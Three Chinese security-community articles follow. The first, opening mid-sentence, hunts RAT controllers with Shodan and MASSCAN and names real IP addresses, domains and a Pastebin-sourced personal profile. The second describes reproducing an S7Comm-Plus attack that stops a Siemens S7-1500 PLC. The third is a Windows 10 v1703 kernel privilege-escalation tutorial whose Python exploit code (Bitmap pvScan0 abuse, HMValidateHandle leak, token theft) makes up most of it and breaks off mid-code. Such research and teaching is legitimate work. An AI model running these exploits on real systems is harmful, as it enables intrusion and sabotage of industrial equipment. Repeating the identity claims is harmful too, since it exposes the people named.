trojan，RAT）控制端的位置融合到当前的防御工作流程以及检测技术中，那么这项工作肯定能发挥很大的作用，它可以与内部遥感技术相结合，自动识别潜在的已感染主机。但对整个行业而言，这项工作更深层次的价值在于能够了解隐藏在每个RAT后面的对手，从而降低安全风险。
对潜在对手归因溯源显然是非常困难但又非常值得的，因为我们可以根据对手的动机推测其使用的具体方法，这种情况下，探索攻击者的能力及基础设施就会成为我们的附属战利品。我们可以使用许多好方法取得归因结果，其中之一就是开发一套原始的归因方法。在本文中，我们详细介绍了主动式互联网服务枚举方法，利用该方法识别出包括njRat以及Dark
Comet在内的木马程序。
**二、背景**
远程访问木马（RAT）[1]是具备丰富功能的控制端（或服务端）软件套装，攻击者可以使用RAT，以隐蔽方式（正如其名）以及未授权方式访问受害者的计算机。攻击者通常会出于恶意目的，使用RAT录制受害者主机上的音频、视频以及键盘敲击动作、窃取文件以及展开其他恶意行为[2]。
即使商用的RAT原作者被逮捕后，许多攻击者（特别是犯罪分子以及国家级攻击者）还是会继续使用这些RAT开展攻击活动[3]。国家级攻击者经常使用诸如Poison
Ivy[4]以及类似RAT开展攻击行动，因为这些RAT易于配置、可重复使用度较高，并且这些RAT仍然是对抗杀毒软件的有效工具。这种情况对于独裁政权尤为明显，他们会使用RAT在国境内搜捕政治异见人士[5]。
犯罪分子之所以使用RAT，是因为使用这类工具的技术门槛很低，可以通过免费的互联网获取如何有效操作RAT的相关指南[6]，这些指南内容包括如何对RAT进行封装或加密以躲避杀毒软件；如何通过RAT控制多个受害者；以及如何建立基础设施[9]（如动态DNS，DDNS[10]）以获得长期的控制权。
与传统的僵尸网络（botnet）不同的是，我们通常会将安装在受害主机上的商用RAT文件（可执行文件）称之为“server”（服务端，可以通过各种方式进行传播），而将RAT控制者主机上的文件称之为“client”（客户端）或者“controller”（控制端）。
根据以往的历史，安全社区通常会依赖主动式恶意软件收集技术来识别RAT族群及动向。样本来源包括客户遥感技术、蜜罐以及恶意软件处理及聚合服务（如VirusTotal）。虽然这些资源非常有用，但我们难以使用这些资源快速及主动识别特定RAT族群的所有的活跃实例。此外，企业所能够依赖主要是的被动反应形式的衍生结果，最多只能取得与恶意软件样本源一样好的结果。
如今，威胁情报团队依然依赖于处理大批量的恶意软件样本来推导出恶意软件的攻击指示器（indicators of
compromise，IOCs），从而在防御技术中生成检查恶意软件的新规则。这种方法在部分场景下仍然有效，但需要依赖大量的计算资源以及互联网资源，才能处理安全厂商每天收集的数以万计的恶意样本。现在的问题是，即便是实力强大的反病毒公司，也面临大量日常样本所带来的挑战。
解决的办法是使用主动式和迭代式大规模互联网枚举（扫描）技术，这种技术使企业能够识别匹配具有特定RAT签名的主机，这些主机在快速归因攻击者方面可能会起到直接作用。
之前我们通过主流的恶意软件资源（如VirusTotal以及#totalhash）无法发现许多RAT操作者的地理位置，现在我们使用这种扫描方法就可以达到这个目标。此外，许多RAT控制端位于家用ISP（互联网服务提供商，Internet
Service Provider）的子网中，我们有可能通过这类IP地址发现RAT操作者的物理位置。
**三、原始情报收集方法**
当Nmap[11]是互联网扫描的唯一可选项时（并且在缺少自定义异步多线程扫描器的程序编写时），大规模的互联网扫描显得有点不切实际。随着Unicorn
Scan[12]的发布，以及最近Zmap[13]和MASSCAN[14]的发布，我们可以使用一台联网设备在相对较短的时间内（以分钟计），完成互联网全部IPv4地址空间的枚举。除了探测开放端口，这些工具还可以返回守护进程的banner（指纹）信息，这些信息对识别RAT控制端来说非常有用。端口扫描工具通常是用于识别和统计对互联网开放的特定服务，在行政执法以及技术防御方面，使用这类工具来识别和描述RAT都能起到非常大的作用。
如果我们往RAT控制端所监听的端口发送合适的请求，那么RAT就会返回特定的响应（或字符串）。我们不会在这个报告中涉及RAT相关的特殊签名，以免增加此报告的篇幅，但特定签名的确是识别RAT族群的直接方法。在某些情况下，即使通过最基本的TCP三次握手[15]过程，我们也能发现某个RAT控制端的响应数据。独有的响应数据就是一个指纹信息，我们可以根据这个信息发现某台可疑主机上是否正在运行某个RAT控制端（或控制面板）。因此从本质上来说，RAT控制端以及控制者都是存在弱点的，因为他们通常是在开放的互联网上操作，并且在接受合适的请求后会返回独特的响应字符串。
为了描述某一个RAT族群，我们需要收集相关的样本以及（或者）完整的数据包。幸运的是，有很多安全研究人员无私地公开了用来生成相应的网络数据包[16]的恶意代码（及恶意软件）。
通过已捕获的数据包，我们可以分析RAT控制端的响应数据，通过这些数据生成指纹信息，这些指纹信息随后可以与互联网扫描器配合使用，用来识别RAT控制端的实时实例，在某些情况下，也能识别RAT操作者的家庭IP地址以及大致的地理位置。
比如，某个非常流行的RAT在接收HTTP GET方法后会返回一内容为“0”的响应包。
使用MASSCAN工具，枚举巴勒斯坦的一个/20子网，我们发现某台主机的1177端口的指纹特征与之相符。
与之类似的是，枚举阿尔及利亚的一个/16子网，我们可有发现有多台主机监听1177端口，但只有一台（197.205.47.239）满足上述特征：
我们可以使用Curl[17]或者Python Scapy[18]以进一步确认结果。
此外，可能某些合法服务也会返回内容为“0”
的响应包，这种情况下我们无法完全确认这种RAT主动探测结果的正确性。我们只是以此为例，通过一个非常特殊的RAT控制端响应字符串来描述一个RAT。
另一个例子是Havex
RAT[19]。Netresec在2014年发表了一篇内容殷实的文章[20]，分析了Havex的通信模式。值得注意的是，Havex的响应数据中包含“havex”这个字符串。
**四、拓展情报收集方法**
作为一个互联网服务搜索引擎，由Johan
Matherly创建并进行维护的Shodan[21]也开始致力于大规模地识别RAT。与传统的扫描工具相比，Shodan包含许多优点，包括非属性化任务、无需构建和维护基础设施就能连续扫描，此外，针对知名的端口和服务，Shodan还包含了数以百计的特征签名数据。Shodan的Web接口和命令行接口（command
line interface，CLI）也非常容易上手，对于给定的任意主机，Shodan会在搜索结果中返回所有可用的端口信息。
Shodan的特征数据中同样包含RAT特征，例如Black Shades、Dark Comet、njRAT、XtremeRAT、Posion
Ivy以及Net
Bus。因此，对识别活动的RAT控制端而言，Shodan是一个非常有用的一手情报源。尽管结果数量不尽相同，但Shodan基本上能够在任意一天内识别出400到600个不同的RAT控制端。从2015年9月18日开始的识别结果可以在Recorded
Future的[GitHub页面](https://github.com/recordedfuture)上下载。
自2015年7月初以来，Shodan在某一周统计出的不同的RAT控制端IP共计633个，在之后的一周内，VirusTotal推测出其中有153个与恶意软件有关，也就是说两者有24%的正相关率[22]。因此，在将恶意样本提交到VirusTotal之前，我们可以使用Shodan来识别RAT控制端实例，这也证明Shodan是一个非常有效且特别的威胁素材源。
此外，许多RAT的IP地址位于住宅（以及动态分配的）网络中。RAT操作者经常直接在家里运行RAT控制面板，因为使用代理会增加延迟，从而降低控制体验，特别是当RAT操作者想要获取受害者摄像头（或者网络摄像头）的视频流时，这种性能降低更加明显。在某些国家中，非授权访问计算机是一种犯罪，执法部门只需要向互联网服务商发送一份传真（或类似东西），就有可能识别出RAT操作者的身份以及住宅地址。
在2015年8月17日至21日期间，Shodan统计了RAT结果，梳理出一份包含471个不同的RAT控制端位置信息的列表[23]。
根据201年7月和8月的结果，我们进一步丰富了RAT控制端的位置信息，以便了解不同的RAT实例、对应的控制者以及控制者的动机。
**五、进一步丰富情报**
正如前文所描述的，VirusTotal根据关联的恶意软件元数据信息进一步确认并丰富了RAT控制端的结果。其他有价值的源也包括Team
Cymru以及Recorded Future，这些源都提供可编程功能。
Recorded Future的API提供了开源判证及数据丰富功能。大家可以在Recorded
Future的[Github页面](https://github.com/recordedfuture)上找到一个Python
API脚本，利用这个脚本可以生成与RAT IP地址有关的完整版的Recorded Future结果。
根据Shodan的RAT控制端IP地址列表，Record Future在7月初整理出了一份结果，部分样本如下所示：
为了进一步丰富2015年8月17日-21日收集的RAT控制端的地址信息，我们将相关的IP列表提交到Recorded Future以及Virus
Total。Recorded
Future的IOC脚本会返回一张“实体卡片”，总结了所有可用的信息。该脚本[24]同时也会根据输入的域名返回相关信息，这些域名是Virus
Total根据原始的RAT控制端IP列表生成所得。
**六、对RAT操作者的主动式归因溯源**
**6.1 示例1-VirusTotal**
今年年初，Shodan识别出了某个Dark Commet控制端，该控制端所在地址为90.212.68.218，属于英国的Sky Broadband运营商。
我们可以根据VirusTotal的恶意软件样本的文件名（“DeathBotnet!.exe”）以及域名（“yobrohasan[.]ddns.net”）来快速丰富这个IP地址的相关信息。“Yobrohasan”是个特殊的字符串，指向snog.com上某个昵称为“yobrohasan”的人，该网站目前已下线，这个人的快照如下所示：
我们无法将这个Dark
Comet实例完全与这个人相关联，因为RAT操作者很有可能有意识地使用“yobrohasan”这个子域名作为虚假身份开展攻击活动，也有可能RAT操作者因为很讨厌“yobrohasan”这个人才选择这个域名，甚至有可能攻击者只是随便选了一个域名而已。正如前文所述，归因溯源是一件很难的事情，这个例子给我们提了一个醒。
**6.2 示例2-Team Cymru**
2015年7月，Team Cymru观察到某个njRAT控制端的IP地址（5.28.184.242，属于以色列的Ramat Gan Hot
Internet运营商）与196.36.153.134这个IP地址（属于南非的Internet Solutions运营商）之间存在基于大端口的UDP会话。
除了在1177端口上识别出njRAT，Shodan还识别出该地址在1900端口上运行的UPnP服务、在80和8080（“WWW-Authenticate:
Basic realm=”NETGEAR
DGN2200v2BEZEQ”）端口上运行的HTTP服务，这表明5.28.184.242这个主机可能也充当了代理角色。
2015年7月，Team
Cymru检测到xheemax.x64.me域名的A记录解析为5.28.184.242。“xheemax”子域名是一个特殊的字符串，该子域名是通过x64.me的DDNS服务生成所得。目前该域名解析结果为149.78.239.193（属于以色列的PSINet运营商）。
自2011年开始，很多论坛上都可以找到“xheemax”这个标记，攻击者使用这个标记来“禁用笔记本摄像头上的小灯”[25]。CryptoSuite网站上有一个“xheemax
Hakkinda”页面[26]，介绍了与之有关的一些资料，其中“About Me”章节包含“RAT”和“Cybergate.”信息。
2014年，Team Cymru的#totalhash页面[27]同样识别出与这个RAT有关的域名xheemax.no-ip.info（地址为204.95.99.109），相应的SHA1哈希[28]为329ed5ef04535f5d11d0e59a361263545d740c61。
**6.3 示例3-Maltego**
将Shodan在2015年8月17日-21日生成的RAT控制端IP导入Maltego，我们可以找到许多共同点。
具有最多边数的那些节点都与IP地址位置检查有关。Maltego的原生transform可以将50多个RAT控制端IP地址与包括localiser-ip[.]com以及iplocationtools[.]com在内的网站关联起来。此外，在pastebin[.]com上也识别出了包含可疑IP地址的多个历史列表。
我们可以对大型数据集进行可视化呈现，通过节点共性识别图中的“阻塞点（choke
points）”，这些“阻塞点”（在这个案例中）包括敌方所用的资源以及（或者）技战术，防御方可以通过识别这些信息来提高防御技术的有效性。
**6.4 示例4-Recorded Future**
Recorded
Future将某个RAT控制端的IP地址与Pastebin上某个网页匹配关联起来。根据这个Pastebin页面（http://pastebin.com/cU4WX0hs）所述，这个IP地址的所有者为“Daniel”，其中还列出了Daniel的个人身份信息（personally
identifiable information，PII），包括生日、电子邮件、以及位于英国牛津附近的实际地址。
该页面中，作者进一步声称，“Daniel”供职于“powerstresser[.]com”，这个网站作为“压力测试”服务器，所提供的“引导者”服务[29]在伦理上存在争议。如果该信息准确无误，这意味着归因溯源这个案例所涉及的RAT操作者是一件非常简单的事情。
**七、总结**
正如本文所述，原始的、专业的及可扩展的情报收集方法对行政执法以及企业防御领域非常有用。在RAT开始传播之前，如果能够识别RAT控制端地址及操作者，那么就能减少恶意软件处理所占用的资源。
诸如Recorded
Future之类的威胁情报数据拓展源有助于对攻击者的归因溯源。本文围绕RAT操作者展开分析，分析结果能增加我们对攻击者的动机、所用工具、所用技术及攻击过程的了解。
针对已知RAT特征的主动及可重复的互联网枚举技术可以为我们提供恶意目标的一手素材来源，更重要的是，这种技术还能让我们进一步识别并理解对手的战略意图。
从本质上来讲，RAT操作者是存在弱点的，因为他们经常在开放的互联网上进行操作，并且他们所购买和下载的RAT在接收合适的请求之后会返回特定的响应字符串。此外，这个弱点不仅限于此，因为RAT服务所监听的特定端口也是我们用来突破攻击者计算机的一个远程入口。
**八、攻击指示器（Indicators of Compromise，IOCs）**
报告引用的所有IOCs都位于Recorded Future的GitHub仓库中。
**九、备注及参考链接**
[1] 远程访问工具（remote access tool，RAT）是系统管理员合法使用的工具。在本文中，RAT特指用于恶意目的的木马。
[2] <http://www.washingtonpost.com/news/morning-mix/wp/2014/05/20/5-scary-things-about-blackshades-malware/>
[3] <http://www.darkreading.com/over-90-arrested-in-global-fbi-crackdown-on-blackshades-rat/d/d-id/1252912>
[4] <http://www.crn.com/news/security/240160369/poison-ivy-attack-toolkit-with-ties-to-china-linked-to-other-hacking-groups.htm>
[5] <http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html>
[6]
<https://www.reddit.com/r/hacking/comments/2acwpb/how_to_setup_dark_comet_rat_with_download_and/>
[7] <https://www.youtube.com/watch?v=QmH_ojSZoRU>
[8] <https://www.youtube.com/watch?v=5szajA_Xbps>
[9] <https://www.youtube.com/watch?v=fltTqccBmzY>
[10] <https://www.youtube.com/watch?v=tXVGLb96WHU>
[11] <https://nmap.org/>
[12] <http://sectools.org/tool/unicornscan/>
[13] <https://zmap.io/>
[14] <https://github.com/robertdavidgraham/masscan>
[15] <https://support.microsoft.com/en-us/help/172983/explanation-of-the-three-way-handshake-via-tcp-ip>
[16] <http://contagiodump.blogspot.com/2013/04/collection-of-pcap-files-from-malware.html>
[17] <http://curl.haxx.se/>
[18] <http://www.secdev.org/projects/scapy/>
[19] <https://www.securityweek.com/attackers-using-havex-rat-against-industrial-control-systems>
[20] [http://www.netresec.com/?page=Blog&month=2014-11&post=Observing-the-Havex-RAT](http://www.netresec.com/?page=Blog&month=2014-11&post=Observing-the-Havex-RAT)
[21] <https://www.shodan.io/>
[22] VirusTotal的结果可以在Recorded
Future的[Github页面](https://github.com/recordedfuture)下载。
[23][24] <https://github.com/recordedfuture/ioc-enrichment>
[25] <https://fuckav.ru/archive/index.php/t-8112.html>
[26] <https://cryptosuite.org/forums/17093xheemax.html>
[27] <https://totalhash.cymru.com/network/dnsrr:xheemax.no-ip.info>
[28]
<https://www.virustotal.com/en/file/3616af88323a25786b8da40641798fc1569b678f84ed6520035941066724682d/analysis/>
[29] <http://www.eweek.com/security/how-do-booters-work-inside-a-ddos-for-hire-attack%20> | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/4bs7j-DZFcZliNhLO9FKPw>**
## **研究背景**
西门子PLC广泛运用在各行业的工业控制系统上，比如钢铁、石油、化工、电力、建材、机械制造、汽车、轻纺、交通运输、环保及文化娱乐等行业，其安全性直接关乎国家民生安全。
2019 BlackHat USA会议上，安全研究员Sara Bitan指出西门子PLC最新的通信协议S7Comm-Plus存在安全问题。为此，启明星辰ADLab对相关漏洞进行研究，并在西门子S7-1500设备上复现了攻击效果。
## **西门子PLC协议**
西门子PLC包括S7-200、S7-300、S7-400、S7-1200以及S7-1500等多个系列。S7-200/300/400系列PLC采用早期的西门子私有协议S7comm进行通信，S7-1200/1500系列PLC采用西门子S7Comm-Plus协议进行通信。
S7Comm-Plus协议在S7comm基础上引入了密钥保护机制，以对抗会话劫持、重放攻击和中间人攻击等。TIA与PLC交互过程可分为以下4个阶段：
1. TCP Connection
2. COTP Connection
3. S7Comm-Plus Connection，即四次握手密钥认证阶段
4. S7Comm-Plus Function，功能码执行阶段
图1 S7Comm-Plus协议交互流程
密钥认证成功后方可进入功能码执行阶段，图2为四次握手认证具体流程。
图2 四次握手认证
* TIA向PLC发送M1开启一个新的会话;
* PLC将返回给TIA一个响应包M2，M2包含 PLC固件版本和随机数ServerSessionChallenge，长度20个字节;
图3 M2认证数据包
* TIA收到M2后，将向PLC发送M3，M3中包含SecurityKeyEncryptedKey(图4中红色框所示)。其中，Magic字段为0xfee1dead，长度180字节。SecurityKeyEncryptedKey里包含3个关键的加密字段(图4中蓝色框所示)。
图4 M3认证数据包
* PLC收到M3后，进行密钥认证。若认证成功，向TIA回复M4数据包。
四次握手认证完成后，TIA向PLC发送功能码数据包，功能码数据包中包含IntergrityPart字段，如图5所示。PLC收到功能码数据包后，首先校验IntergrityPart字段，若校验通过，执行相应功能码。
图5 stop功能码数据包
## **算法分析**
虽然主机TIA与PLC之间的认证引入了非对称加密算法，但是PLC与主机之间并没有进行绑定，因此仍然存在安全问题，攻击者可以伪造成一个恶意的主机/工作站，利用已知的公钥及加密算法，对PLC进行非法控制或者中间人攻击。
下面介绍密钥生成算法流程。
图6 密钥生成算法
* 主机(TIA)随机生成20字节的PreKey，使用类椭圆曲线加密算法和公钥加密PreKey，作为Keying materaial 1(对应图7中M3数据包的EG1、EG2)。
* 主机(TIA)根据PreKey计算KDF，并由此生成CEK(Checksum Encryption Key)，CS(Checksum Seed)，KEK(Key Encryption Key)。
* 主机(TIA)将Challenge和KDK相结合，使用AES-CTR加密算法和KEK进行加密，其结果作为Keying material 3(对应M3数据包中的EncryptedChallenge和EncryptedKDK)。
* 主机(TIA)用CS和Keying material 3进行哈希运算(Tabulation Hash),得到结果TB-HASH。
* 主机(TIA)使用AES-ECB算法和CEK来加密TB-HASH并得到结果Keying material 2(对应M3数据包中的EncryptedChecksum)。
图7 M3数据包结构
## **漏洞复现**
我们对OMSp_core_managed.dll进行逆向分析，通过调用关键接口函数，构造四次握手加密认证数据包。攻击端首先发送认证数据包，密钥认证完成后发送stop功能码，成功使得西门子PLC
S7-1500停止运行。
正常运行时，PLC S7-1500运行指示灯为绿色。运行状态如图８所示。
图８ 攻击前PLC正常运行
发送攻击脚本后，PLC S7-1500运行指示灯变为黄色，PLC停止运行，PLC状态如图９所示。
图９ 攻击后PLC停止运行
攻击演示视频如下所示：
[ ](video width="800" height="400" controls="controls"> <source
src="https://images.seebug.org/archive/%E6%BC%94%E7%A4%BA%E8%A7%86%E9%A2%91.mp4"type="video/mp4"
/)
## 安全建议
西门子官方已发布安全补丁：
1. <https://cert-portal.siemens.com/productcert/pdf/ssa-232418.pdf>
2. <https://cert-portal.siemens.com/productcert/pdf/ssa-273799.pdf>
## 小 结
在本次研究中，我们分析了西门子S7系列最新的通信协议S7Comm-Plus。虽然主机与PLC之间的通信协议采用了强大的加密算法，但是PLC并没有对TIA进行认证，使得攻击者可以伪装成一个恶意的TIA，在其通信过程中插入任意指令，如PLC的启停指令，即可达到远程控制PLC的效果。除此之外，相同型号/固件版本的PLC，其私钥完全相同，这意味着同样的攻击方法适用于所有相同的PLC。
## 参考链接
1. <https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs.pdf>
2. <https://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs-wp.pdf>
3. <https://www.secshi.com/30290.html>
* * * | 社区文章 |
# Windows10 v1703基于桌面堆泄露的内核提权技术
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
在开始讨论Windows10 v1703内核提权技术之前，先来了解一下微软为阻止Win10权限提升所作的努力：
1.在Win10 v1511、v1607、1703几个版本提权过程，都需要用到Bitmap
object这个数据结构，而这个object有一个最重要的pvScan0指针成员。Bitmap是一种位图数据结构，了解过GDI+编程的应该不会陌生，pvScan0指针成员则指向Bitmap
object中的Pixel区域（像素区）。
2.微软在关于Bitmap
object的操作上给出了部分API，值得注意的是SetBitmapBits和GetBitmapBits。本来正常应用到编程中的确是相安无事，但我们来考虑一下，要是其中某个Bitmap
object的pvScan0指针成员胡乱指向一个内核地址，当调用GetBitmapBits便能读到该处数据（信息泄露），而当调用SetBitmapBits便能向该处写入数据（任意写）。
3.为了阻止Bitmap
object被利用，微软多番努力阻止pvScan0内核地址的泄露，从而阻断整个攻击过程。在v1511版本，可以利用GDI_CELL结构成员pKernelAddress泄露出pvScan0的内核地址，而在v1607该处便被置空了，但攻击并未就此停止，采用UAF的攻击手法，便能准确预测pvScan0的内核地址，这里需要用到一个pHead的数据成员。
4.在v1703版本中，pHead再次被置空，以往的攻击手段失效，该文就是基于这样的背景，讨论Win10 v1703内核权限提升技术。
关于v1511、v1607的详细分析可以参考这两篇文章
[Windows特权提升：GDI Bitmap滥用 ](https://www.anquanke.com/post/id/156519)
[Windows10
v1607内核提权技术的发展——利用AcceleratorTable](https://www.anquanke.com/post/id/168356)
## 0x002 调试环境
虚拟机：Windows 10 x64 1703 Jul 2017
主机：Windows 10 x64 1709 Dec 2017
环境搭建可以参考该文：
[Part 10: Kernel Exploitation -> Stack
Overflow](http://www.fuzzysecurity.com/tutorials/expDev/14.html)
## 0x003 Test POC
这里说一下，后面会用到HEVD的一个Windows Kernel Exploition训练项目
[HackSysExtremeVulnerableDriver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
还需要一个驱动装载工具，用于注册HEVD编译出来的.sys驱动文件
[OSRloader](https://www.osronline.com/article.cfm?article=157)
用该脚本来触发ArbraryWrite这个洞
import sys
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\.HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
windbg显示这样，将内容`0x4141414141414141`往地址`0x4242424242424242`上写入
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
## 0x004 How to Exploit it?
还是回到最主要的一个问题：如何取得pvScan0的内核地址？
很幸运，在Windows 10
1703上还有另外的方法帮助我们预测pvscan0指针的内核地址，通过合理构造，准确性能够提高到100%。但首先的，我们要得到HMValidateHandle的调用地址。
HmValidateHandle比较有意思，我们只需给它提供一个窗口句柄，然后它就会将在桌面堆中的tagWND对象指针返回回来，拿到该指针就相当于完成了内核信息泄露
先去找到user32.IsMenu方法
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h
注意到指向HMValidateHandle指针的偏移的位于第一个0xe8字节码之后
在user32.IsMenu开头对每个字节进行比较，看看是否为0xe8，获取到这个偏移数值
def findHMValidateHandle():
global pHMValidateHandle
kernel32.LoadLibraryA.restype = HMODULE
hUser32 = kernel32.LoadLibraryA("user32.dll")
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE,LPCSTR)
pIsMenu = kernel32.GetProcAddress(hUser32,"IsMenu")
debug_print("[>] Locating HMValidateHandle()")
debug_print("t[+] user32.IsMenu: 0x%X" % pIsMenu)
offset = 0
pHMValidateHandle_offset = 0
while(offset < 0x100):
byte = cast(pIsMenu + offset, POINTER(c_byte))
# if byte == 0xE8(232 - 128 - 128 = -24)
if byte.contents.value == -24:
pHMValidateHandle_offset = pIsMenu + offset + 1
break;
offset = offset + 1
debug_print("t[+] Pointer to HMValidateHandle offset: 0x%X" % pHMValidateHandle_offset)
HMValidateHandle_offset = (cast(pHMValidateHandle_offset, POINTER(c_long))).contents.value
debug_print("t[+] HMValidateHandle offset: 0x%X" % HMValidateHandle_offset)
# Add 0xb because relative offset of call starts from next instruction after call, which is 0xb bytes from start of user32.IsMenu
pHMValidateHandle = pIsMenu + HMValidateHandle_offset + 0xb
debug_print("t[+] HMValidateHandle pointer: 0x%X" % pHMValidateHandle)
然后引用一张Fuzzysecurity的原图来演示如何通过`HmValidateHandle`返回的tagWND对象指针，一步一步拿到`lpszMenuName`的内核地址，而`lpszMenuName`指向paged
pool(存放着菜单名)
主要过程：
pIsMenu --> pHMValidateHandle --> pWnd = HMValidateHandle(hWnd,1)，返回tagWND对象指针，用户桌面堆地址
--> pSelf=pWnd+0x20，得到内核桌面堆地址、kernelTagCLS=pWnd+0xa8，得到内核TagCLS地址
--> ulClientDelta=pSelf-pWnd，这是桌面堆用户模式映射与内核映射的偏移
--> userTagCLS=kernelTagCLS-ulClientDelta，取得用户TagCLS地址，lpszMenuName位于0x90偏移处(该处指向paged pool)
关于桌面堆的分析这里不展开，参考该文：
[Desktop Heap
Overview](https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/)
现在先分配一个比较长的窗口窗口菜单名，再释放掉，然后再申请一个Bitmap将会从用刚才释放的块，这是因为窗口菜单名lpszMenuName与Bitmap分配的块位于同一个内存池。
虽说这样做是没什么毛病，但如何确保我们一定能够重用释放掉的块呢？
其实可以通过比较新申请到的块与先前释放的块的lpszMenuName成员，这样，Bitmap对象的内核地址完全能够预测出来。
def alloc_free_windows():
global classNumber
previous_entry = 0
while (1):
plpszMenuName = allocate_free_window()
if previous_entry == plpszMenuName:
return plpszMenuName
previous_entry = plpszMenuName
classNumber = classNumber + 1
下面再来简单地说一下后续利用过程：
1.依次分配hManager、hWorker两个Bitmap object，并利用上述方法预测得到各自pvscan0指针的内核地址；
2.将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，利用HEVD模块的任意写漏洞；
3.查询获得当前进程与system进程的token；
4.调用API SetBitmapBits、GetBitmapBits，将system进程的token写入当前进程；
注意一下查看几个重要的偏移，EXP要相应的修改一下
得到HMValidateHandle调用地址
利用UAF令Bitmap重新分配得到lpszMenuName释放的内存，成功预测到pvScan0成员指针地址
## Exploit it!
完整的EXP
import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con
kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
user32 = windll.user32
hManager = HBITMAP()
hWorker = HBITMAP()
classNumber = 0
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM)
class WNDCLASSEX(Structure):
_fields_ = [("cbSize", c_uint),
("style", c_uint),
("lpfnWndProc", WNDPROCTYPE),
("cbClsExtra", c_int),
("cbWndExtra", c_int),
("hInstance", HANDLE),
("hIcon", HANDLE),
("hCursor", HANDLE),
("hBrush", HANDLE),
("lpszMenuName", LPCWSTR),
("lpszClassName", LPCWSTR),
("hIconSm", HANDLE)]
def hang():
kernel32.DebugBreak()
kernel32.DebugBreak()
while True:
time.sleep(60*60*24)
def debug_print(message):
print message
kernel32.OutputDebugStringA(message + "n")
def findHMValidateHandle():
global pHMValidateHandle
kernel32.LoadLibraryA.restype = HMODULE
hUser32 = kernel32.LoadLibraryA("user32.dll")
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE,LPCSTR)
pIsMenu = kernel32.GetProcAddress(hUser32,"IsMenu")
debug_print("[>] Locating HMValidateHandle()")
debug_print("t[+] user32.IsMenu: 0x%X" % pIsMenu)
offset = 0
pHMValidateHandle_offset = 0
while(offset < 0x100):
byte = cast(pIsMenu + offset, POINTER(c_byte))
# if byte == 0xE8
if byte.contents.value == -24:
pHMValidateHandle_offset = pIsMenu + offset + 1
break;
offset = offset + 1
debug_print("t[+] Pointer to HMValidateHandle offset: 0x%X" % pHMValidateHandle_offset)
HMValidateHandle_offset = (cast(pHMValidateHandle_offset, POINTER(c_long))).contents.value
debug_print("t[+] HMValidateHandle offset: 0x%X" % HMValidateHandle_offset)
# Add 0xb because relative offset of call starts from next instruction after call, which is 0xb bytes from start of user32.IsMenu
pHMValidateHandle = pIsMenu + HMValidateHandle_offset + 0xb
debug_print("t[+] HMValidateHandle pointer: 0x%X" % pHMValidateHandle)
def PyWndProcedure(hWnd, Msg, wParam, lParam):
""" Callback Function for CreateWindow() """
# if Msg == WM_DESTROY
if Msg == 2:
user32.PostQuitMessage(0)
else:
return user32.DefWindowProcW(hWnd, Msg, wParam, lParam)
return 0
def allocate_free_window():
""" Allocate and Free a single Window """
global classNumber, pHMValidateHandle
# Create prototype for HMValidateHandle()
HMValidateHandleProto = WINFUNCTYPE(c_ulonglong, HWND, c_int)
HMValidateHandle = HMValidateHandleProto(pHMValidateHandle)
WndProc = WNDPROCTYPE(PyWndProcedure)
hInst = kernel32.GetModuleHandleA(0)
# instantiate WNDCLASSEX
wndClass = WNDCLASSEX()
wndClass.cbSize = sizeof(WNDCLASSEX)
wndClass.lpfnWndProc = WndProc
wndClass.cbWndExtra = 0
wndClass.hInstance = hInst
wndClass.lpszMenuName = 'A' * 0x8f0 # Thought 0x7f0 was 0x1000 but did not work, and this does
wndClass.lpszClassName = "Class_" + str(classNumber)
# Register Class and Create Window
hCls = user32.RegisterClassExW(byref(wndClass))
